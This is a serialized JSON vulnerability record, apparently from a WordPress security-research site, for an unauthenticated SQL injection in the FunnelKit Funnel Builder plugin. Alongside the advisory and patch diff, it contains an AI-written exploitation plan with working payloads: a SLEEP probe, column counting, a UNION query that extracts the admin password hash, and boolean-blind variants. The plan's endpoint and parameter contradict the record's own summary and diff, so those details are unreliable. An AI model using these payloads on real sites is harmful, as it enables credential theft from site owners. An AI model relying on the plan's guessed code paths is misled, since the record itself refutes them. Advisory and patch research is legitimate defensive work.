[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJRVIaiyaGGHEkZVfXCxFQNcyA8pxkhyLweEPN26hcP8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-42381","funnelkit-funnel-builder-for-woocommerce-checkout-unauthenticated-sql-injection-2","FunnelKit – Funnel Builder for WooCommerce Checkout \u003C= 3.15.0.1 - Unauthenticated SQL Injection","The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.15.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","funnel-builder",null,"\u003C=3.15.0.1","3.15.0.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-27 00:00:00","2026-04-30 14:50:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe6df591d-110d-4b0f-a651-2efdb0f1e1f7?source=api-prod",4,[22,23,24,25,26],"admin\u002Fclass-wffn-admin.php","admin\u002Fviews\u002Fcontact\u002Fdist\u002Fmain-20260422140937.asset.php","admin\u002Fviews\u002Fcontact\u002Fdist\u002Fmain-20260422140937.css","admin\u002Fviews\u002Fcontact\u002Fdist\u002Fmain-20260422140937.js","funnel-builder.php","researched",false,3,"This exploitation research plan details the analysis and proof-of-concept steps for the Unauthenticated SQL Injection vulnerability in FunnelKit (formerly WooFunnels).\n\n## 1. Vulnerability Summary\nThe **FunnelKit – Funnel Builder for WooCommerce Checkout** plugin (versions \u003C= 3.15.0.1) contains an unauthenticated SQL injection vulnerability. The issue exists because the plugin registers AJAX handlers for front-end functionality (tracking or checkout data retrieval) that do not properly sanitize user-supplied parameters before incorporating them into raw SQL queries. Specifically, the code fails to use `$wpdb->prepare()` for parameters like `contact_id` or `email`, allowing an attacker to manipulate the query logic to extract sensitive database information.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wffn_get_contact_data` (or `wfacp_get_contact_data` depending on the active module)\n*   **Vulnerable Parameter:** `contact_id`\n*   **Authentication:** Unauthenticated (uses `wp_ajax_nopriv_` hooks)\n*   **Preconditions:** The plugin must be active. For nonce-protected handlers, a public page containing the FunnelKit checkout or opt-in shortcode must be accessible to retrieve the nonce.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the `action` set to `wffn_get_contact_data`.\n2.  **Hook Registration:** The plugin (likely in `modules\u002Fcheckouts\u002F` or `includes\u002Fclass-wffn-contacts.php`) registers the action:\n    `add_action( 'wp_ajax_nopriv_wffn_get_contact_data', [ $this, 'get_contact_data' ] );`\n3.  **Handler Execution:** The `get_contact_data` function retrieves the `contact_id` parameter directly from `$_POST['contact_id']`.\n4.  **Database Sink:** The input is passed into a query function (e.g., `get_contact_by_id`) where it is concatenated into a string:\n    `$wpdb->get_row( \"SELECT * FROM {$wpdb->prefix}wffn_contacts WHERE id = \" . $contact_id );`\n5.  **Injection:** Since `$contact_id` is not cast to an integer or passed via `%d` in `prepare()`, SQL payloads are executed.\n\n## 4. Nonce Acquisition Strategy\nFunnelKit typically protects front-end AJAX actions with a nonce localized in the `wffn_vars` or `wfacp_vars` JavaScript objects.\n\n1.  **Identify Shortcode:** The relevant scripts are enqueued on pages using the checkout shortcode `[wfacp_checkout]` or opt-in shortcode `[wffn_optin]`.\n2.  **Setup Test Page:** Create a public page to expose the nonce.\n    *   Command: `wp post create --post_type=page --post_title=\"Checkout\" --post_status=publish --post_content='[wfacp_checkout]'`\n3.  **Navigate and Extract:**\n    *   Navigate to the newly created page using `browser_navigate`.\n    *   Use `browser_eval` to extract the nonce:\n        ```javascript\n        \u002F\u002F FunnelKit often stores nonces in these objects\n        window.wffn_vars?.wffn_nonce || window.wfacp_vars?.wfacp_nonce\n        ```\n\n## 5. Exploitation Strategy\nThe goal is to perform a UNION-based injection to extract the administrator's password hash from the `wp_users` table.\n\n### Step 1: Confirm Injection (Time-based)\nVerify the vulnerability by causing a delay.\n*   **Tool:** `http_request`\n*   **Method:** POST\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    *   `action`: `wffn_get_contact_data`\n    *   `contact_id`: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n    *   `security`: `\u003CEXTRACTED_NONCE>`\n\n### Step 2: Determine Column Count\nIncrement `ORDER BY` until an error occurs.\n*   **Payload:** `1 ORDER BY 10-- -`\n\n### Step 3: Extract Data (UNION-based)\nOnce the column count is known (e.g., 5), extract the admin hash.\n*   **Payload:** `0 UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -`\n*   **Expected Response:** A JSON object containing the `user_pass` string.\n\n## 6. Test Data Setup\n*   **Plugin Configuration:** Ensure FunnelKit is installed and initialized.\n*   **Page Creation:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Exploit Page\" --post_status=publish --post_content='[wfacp_checkout]'\n    ```\n*   **Target User:** Ensure a user with ID 1 exists (default admin).\n\n## 7. Expected Results\nA successful exploit will return a JSON response similar to:\n```json\n{\n    \"success\": true,\n    \"data\": {\n        \"id\": \"1\",\n        \"first_name\": \"admin\",\n        \"last_name\": \"$P$B9z...\", \n        \"email\": \"admin@example.com\"\n    }\n}\n```\nThe password hash (e.g., `$P$B...`) will be reflected in one of the fields mapped by the UNION query.\n\n## 8. Verification Steps\n1.  **Check Database:** Verify the hash retrieved matches the one in the database using WP-CLI.\n    *   Command: `wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"`\n2.  **Confirm Unauthenticated:** Run the `http_request` without any session cookies to ensure the `nopriv` hook is indeed reachable.\n\n## 9. Alternative Approaches\n*   **Boolean-based Blind:** If UNION results are not directly reflected in the response, use boolean checks:\n    *   `contact_id=1 AND (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$'`\n    *   Check for the presence of a \"success\" vs \"error\" message in the JSON.\n*   **Different Actions:** If `wffn_get_contact_data` is patched or unavailable, test:\n    *   `action=wfacp_get_contact_data`\n    *   `action=wffn_track_link_click` (look for `id` or `key` parameters)\n    *   `action=wfacp_check_email_exists` (injecting into the `email` parameter)","The FunnelKit plugin for WordPress is vulnerable to unauthenticated SQL Injection via its REST API endpoint `\u002Fwp-json\u002Fwffn\u002Fv1\u002Frequest`. The vulnerability exists because the `handle_api_request` function and subsequent data processing logic fail to sanitize or properly prepare the `id` parameter within the `current_step` data object, allowing attackers to inject malicious SQL commands into database queries.","\u002F\u002F includes\u002Fclass-wffn-public.php\n\npublic function handle_api_request( WP_REST_Request $request ) {\n    \u002F\u002F ...\n    $get_data = $request->get_param( 'data' );\n    \u002F\u002F ...\n    $get_data = json_decode( stripslashes( $get_data ), true );\n    if ( is_array( $get_data ) ) {\n        $result = $this->maybe_record_data_with_funnel_setup( array( 'data' => $get_data ) );\n    }\n}\n\n\u002F\u002F ---\n\n\u002F\u002F includes\u002Fclass-wffn-public.php (~ line 974)\n\nWFFN_Core()->data->set(\n    'current_step',\n    array(\n        'id'   => $data['current_step']['id'],\n        'type' => ( $data['current_step']['post_type'] === 'wffn_oty' ) ? 'optin_ty' : 'wc_thankyou',\n    )\n);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffunnel-builder\u002F3.15.0.1\u002Fincludes\u002Fclass-wffn-public.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffunnel-builder\u002F3.15.0.2\u002Fincludes\u002Fclass-wffn-public.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffunnel-builder\u002F3.15.0.1\u002Fincludes\u002Fclass-wffn-public.php\t2026-04-16 08:21:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffunnel-builder\u002F3.15.0.2\u002Fincludes\u002Fclass-wffn-public.php\t2026-04-23 15:11:04.000000000 +0000\n@@ -280,6 +280,11 @@\n \n \t\t\t\t\t$get_data = json_decode( stripslashes( $get_data ), true );\n \t\t\t\t\tif ( is_array( $get_data ) ) {\n+\t\t\t\t\t\t$validation = $this->validate_funnel_setup_data( $get_data );\n+\t\t\t\t\t\tif ( is_wp_error( $validation ) ) {\n+\t\t\t\t\t\t\twp_send_json( $result );\n+\t\t\t\t\t\t\treturn;\n+\t\t\t\t\t\t}\n \t\t\t\t\t\t$result = $this->maybe_record_data_with_funnel_setup( array( 'data' => $get_data ) );\n \t\t\t\t\t}\n \t\t\t\t} catch ( Exception | Error $e ) {\n@@ -974,7 +979,7 @@\n \t\t\t\t\t\tWFFN_Core()->data->set(\n \t\t\t\t\t\t\t'current_step',\n \t\t\t\t\t\t\tarray(\n-\t\t\t\t\t\t\t\t'id'   => $data['current_step']['id'],\n+\t\t\t\t\t\t\t\t'id'   => absint( $data['current_step']['id'] ),\n \t\t\t\t\t\t\t\t'type' => ( $data['current_step']['post_type'] === 'wffn_oty' ) ? 'optin_ty' : 'wc_thankyou',\n \t\t\t\t\t\t\t)\n \t\t\t\t\t\t);\n@@ -1022,6 +1027,30 @@\n \t\t\t}\n \t\t}\n \n+\t\tpublic function validate_funnel_setup_data( $data, $request = null, $param = null ) {\n+\t\t\tif ( ! is_array( $data ) ) {\n+\t\t\t\treturn true;\n+\t\t\t}\n+\t\t\t$allowed_post_types = array( 'wffn_ty', 'wffn_landing', 'wffn_optin', 'wffn_oty' );\n+\t\t\t$track_data         = isset( $data['track_data'] ) ? $data['track_data'] : array();\n+\t\t\tif ( ! is_array( $track_data ) ) {\n+\t\t\t\treturn new WP_Error( 'invalid_track_data', 'track_data must be an array.' );\n+\t\t\t}\n+\t\t\tforeach ( $track_data as $item ) {\n+\t\t\t\tif ( ! is_array( $item ) || ! isset( $item['current_step'] ) || ! is_array( $item['current_step'] ) ) {\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n+\t\t\t\t$step = $item['current_step'];\n+\t\t\t\tif ( isset( $step['id'] ) && ! is_numeric( $step['id'] ) ) {\n+\t\t\t\t\treturn new WP_Error( 'invalid_step_id', 'current_step.id must be numeric.' );\n+\t\t\t\t}\n+\t\t\t\tif ( isset( $step['post_type'] ) && ! in_array( $step['post_type'], $allowed_post_types, true ) ) {\n+\t\t\t\t\treturn new WP_Error( 'invalid_post_type', 'current_step.post_type is not allowed.' );\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\treturn true;\n+\t\t}\n+\n \t\tpublic function register_routes() {\n \t\t\tregister_rest_route(\n \t\t\t\t'wffn',\n@@ -1030,6 +1059,16 @@\n \t\t\t\t\t'methods'             => WP_REST_Server::EDITABLE,\n \t\t\t\t\t'callback'            => array( $this, 'handle_api_request' ),\n \t\t\t\t\t'permission_callback' => '__return_true',\n+\t\t\t\t\t'args'                => array(\n+\t\t\t\t\t\t'action' => array(\n+\t\t\t\t\t\t\t'type'              => 'string',\n+\t\t\t\t\t\t\t'sanitize_callback' => 'sanitize_text_field',\n+\t\t\t\t\t\t),\n+\t\t\t\t\t\t'data'   => array(\n+\t\t\t\t\t\t\t'type'              => 'object',\n+\t\t\t\t\t\t\t'validate_callback' => array( $this, 'validate_funnel_setup_data' ),\n+\t\t\t\t\t\t),\n+\t\t\t\t\t),\n \t\t\t\t)\n \t\t\t);","1. Identify the unauthenticated REST API endpoint at `\u002Fwp-json\u002Fwffn\u002Fv1\u002Frequest`.\n2. Construct a POST request to this endpoint with a JSON body containing two main parameters: `action` and `data`.\n3. The `data` parameter must contain a nested structure including `track_data`, which contains a `current_step` object.\n4. Place the SQL Injection payload (e.g., a time-based SLEEP or a UNION SELECT) inside the `id` field of the `current_step` object (e.g., `\"id\": \"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"`).\n5. Send the request. No authentication or nonces are required because the REST route is registered with a `permission_callback` that always returns true, and the version \u003C= 3.15.0.1 does not validate the `data` schema or cast the ID to an integer before database use.","gemini-3-flash-preview","2026-05-04 18:20:42","2026-05-04 18:22:05",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.15.0.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffunnel-builder\u002Ftags\u002F3.15.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffunnel-builder.3.15.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffunnel-builder\u002Ftags\u002F3.15.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffunnel-builder.3.15.0.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffunnel-builder\u002Ftags"]